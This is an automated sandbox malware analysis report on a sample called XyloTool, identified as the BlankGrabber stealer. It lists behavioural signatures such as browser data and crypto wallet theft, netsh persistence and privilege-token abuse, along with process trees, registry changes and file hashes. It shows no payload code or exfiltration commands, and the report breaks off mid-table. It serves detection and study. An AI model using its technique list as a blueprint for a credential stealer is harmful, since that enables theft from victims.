Malware Analysis Report

2024-10-16 07:18

Sample ID 240626-fzl82azell
Target XyloTool.rar
SHA256 79fe80b6762a5ee29c76185cd062fcf832deb1620f04ddc4de50d3358ca9373f
Tags
blankgrabber upx execution persistence privilege_escalation spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

79fe80b6762a5ee29c76185cd062fcf832deb1620f04ddc4de50d3358ca9373f

Threat Level: Known bad

The file XyloTool.rar was found to be: Known bad.

Malicious Activity Summary

blankgrabber upx execution persistence privilege_escalation spyware stealer

Blankgrabber family

A stealer written in Python and packaged with Pyinstaller

Command and Scripting Interpreter: PowerShell

Reads user/profile data of web browsers

Executes dropped EXE

Loads dropped DLL

UPX packed file

Looks up external IP address via web service

Accesses cryptocurrency files/wallets, possible credential harvesting

Event Triggered Execution: Netsh Helper DLL

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SendNotifyMessage

Modifies data under HKEY_USERS

Suspicious use of AdjustPrivilegeToken

Enumerates system info in registry

Modifies registry class

Suspicious use of SetWindowsHookEx

Gathers system information

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

Enumerates processes with tasklist

Detects videocard installed

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-26 05:18

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-26 05:18

Reported

2024-06-26 05:21

Platform

win7-20240611-en

Max time kernel

144s

Max time network

119s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\XyloTool.rar

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2812790648-3157963462-487717889-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2812790648-3157963462-487717889-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\XyloTool.rar

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\XyloTool.rar

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\XyloTool.rar

C:\Program Files\VideoLAN\VLC\vlc.exe

"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\XyloTool.rar"

Network

N/A

Files

memory/2916-30-0x000007FEFAA90000-0x000007FEFAAC4000-memory.dmp

memory/2916-29-0x000000013F580000-0x000000013F678000-memory.dmp

memory/2916-32-0x000007FEFAB00000-0x000007FEFAB18000-memory.dmp

memory/2916-33-0x000007FEF79D0000-0x000007FEF79E7000-memory.dmp

memory/2916-34-0x000007FEF79B0000-0x000007FEF79C1000-memory.dmp

memory/2916-35-0x000007FEF7480000-0x000007FEF7497000-memory.dmp

memory/2916-36-0x000007FEF7460000-0x000007FEF7471000-memory.dmp

memory/2916-37-0x000007FEF7440000-0x000007FEF745D000-memory.dmp

memory/2916-38-0x000007FEF7420000-0x000007FEF7431000-memory.dmp

memory/2916-31-0x000007FEF6430000-0x000007FEF66E6000-memory.dmp

memory/2916-44-0x000007FEF6E70000-0x000007FEF6E81000-memory.dmp

memory/2916-40-0x000007FEF5EA0000-0x000007FEF60AB000-memory.dmp

memory/2916-43-0x000007FEF6E90000-0x000007FEF6EA8000-memory.dmp

memory/2916-42-0x000007FEF73F0000-0x000007FEF7411000-memory.dmp

memory/2916-41-0x000007FEF6EB0000-0x000007FEF6EF1000-memory.dmp

memory/2916-45-0x000007FEF6E50000-0x000007FEF6E61000-memory.dmp

memory/2916-49-0x000007FEF6980000-0x000007FEF6998000-memory.dmp

memory/2916-51-0x000007FEF5E00000-0x000007FEF5E67000-memory.dmp

memory/2916-56-0x000007FEF5CA0000-0x000007FEF5CC4000-memory.dmp

memory/2916-55-0x000007FEF5CD0000-0x000007FEF5CF8000-memory.dmp

memory/2916-54-0x000007FEF5D00000-0x000007FEF5D57000-memory.dmp

memory/2916-53-0x000007FEF5D60000-0x000007FEF5D71000-memory.dmp

memory/2916-57-0x000007FEF5C80000-0x000007FEF5C98000-memory.dmp

memory/2916-58-0x000007FEF5C50000-0x000007FEF5C73000-memory.dmp

memory/2916-59-0x000007FEF5C30000-0x000007FEF5C41000-memory.dmp

memory/2916-60-0x000007FEF5C10000-0x000007FEF5C22000-memory.dmp

memory/2916-61-0x000007FEF18D0000-0x000007FEF18E1000-memory.dmp

memory/2916-52-0x000007FEF5D80000-0x000007FEF5DFC000-memory.dmp

memory/2916-50-0x000007FEF5E70000-0x000007FEF5EA0000-memory.dmp

memory/2916-62-0x000007FEF1870000-0x000007FEF18C7000-memory.dmp

memory/2916-48-0x000007FEF69A0000-0x000007FEF69B1000-memory.dmp

memory/2916-63-0x000007FEF1260000-0x000007FEF128F000-memory.dmp

memory/2916-47-0x000007FEF6E10000-0x000007FEF6E2B000-memory.dmp

memory/2916-46-0x000007FEF6E30000-0x000007FEF6E41000-memory.dmp

memory/2916-64-0x000007FEF1240000-0x000007FEF1253000-memory.dmp

memory/2916-65-0x000007FEF1220000-0x000007FEF1231000-memory.dmp

memory/2916-69-0x000007FEF1030000-0x000007FEF1044000-memory.dmp

memory/2916-71-0x000007FEF0FE0000-0x000007FEF0FF3000-memory.dmp

memory/2916-72-0x000007FEF0FA0000-0x000007FEF0FD1000-memory.dmp

memory/2916-70-0x000007FEF1000000-0x000007FEF102C000-memory.dmp

memory/2916-68-0x000007FEF1110000-0x000007FEF1121000-memory.dmp

memory/2916-67-0x000007FEF1130000-0x000007FEF1143000-memory.dmp

memory/2916-66-0x000007FEF1150000-0x000007FEF1215000-memory.dmp

memory/2916-39-0x000007FEF4670000-0x000007FEF5720000-memory.dmp

memory/2916-73-0x000007FEEEB40000-0x000007FEEED46000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-26 05:18

Reported

2024-06-26 05:21

Platform

win10v2004-20240508-en

Max time kernel

79s

Max time network

99s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\XyloTool.rar

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\XyloTool.rar

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 52.111.229.43:443 tcp

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-26 05:18

Reported

2024-06-26 05:21

Platform

win7-20240611-en

Max time kernel

118s

Max time network

118s

Command Line

"C:\Users\Admin\AppData\Local\Temp\XyloTool.exe"

Signatures

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Processes

C:\Users\Admin\AppData\Local\Temp\XyloTool.exe

"C:\Users\Admin\AppData\Local\Temp\XyloTool.exe"

C:\Users\Admin\AppData\Local\Temp\XyloTool.exe

"C:\Users\Admin\AppData\Local\Temp\XyloTool.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI19362\python310.dll

MD5 b93eda8cc111a5bde906505224b717c3
SHA1 5f1ae1ab1a3c4c023ea8138d4b09cbc1cd8e8f9e
SHA256 efa27cd726dbf3bf2448476a993dc0d5ffb0264032bf83a72295ab3fc5bcd983
SHA512 b20195930967b4dc9f60c15d9ceae4d577b00095f07bd93aa4f292b94a2e5601d605659e95d5168c1c2d85dc87a54d27775f8f20ebcacf56904e4aa30f1affba

memory/2944-23-0x000007FEF5CC0000-0x000007FEF6125000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-06-26 05:18

Reported

2024-06-26 05:21

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\XyloTool.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI7002\rar.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133638527880554532" C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 700 wrote to memory of 1352 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Users\Admin\AppData\Local\Temp\XyloTool.exe
PID 700 wrote to memory of 1352 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Users\Admin\AppData\Local\Temp\XyloTool.exe
PID 1352 wrote to memory of 4244 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 4244 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 744 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 744 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 4244 wrote to memory of 2588 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4244 wrote to memory of 2588 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 744 wrote to memory of 5096 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 744 wrote to memory of 5096 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1352 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 4808 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 4808 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 636 wrote to memory of 4192 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 636 wrote to memory of 4192 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4808 wrote to memory of 1752 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4808 wrote to memory of 1752 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1352 wrote to memory of 2724 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 2724 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 3684 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 3684 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 4876 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 408 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 408 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 3540 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 3540 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 2724 wrote to memory of 1592 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WaaSMedicAgent.exe
PID 2724 wrote to memory of 1592 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WaaSMedicAgent.exe
PID 1964 wrote to memory of 5080 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 1964 wrote to memory of 5080 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 1016 wrote to memory of 4556 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1016 wrote to memory of 4556 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 3684 wrote to memory of 1468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3684 wrote to memory of 1468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4876 wrote to memory of 4624 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4876 wrote to memory of 4624 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3540 wrote to memory of 2488 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3540 wrote to memory of 2488 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 408 wrote to memory of 2088 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 408 wrote to memory of 2088 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 1352 wrote to memory of 3500 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 3500 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 3500 wrote to memory of 2740 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3500 wrote to memory of 2740 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 2232 wrote to memory of 4960 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2232 wrote to memory of 4960 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 1352 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
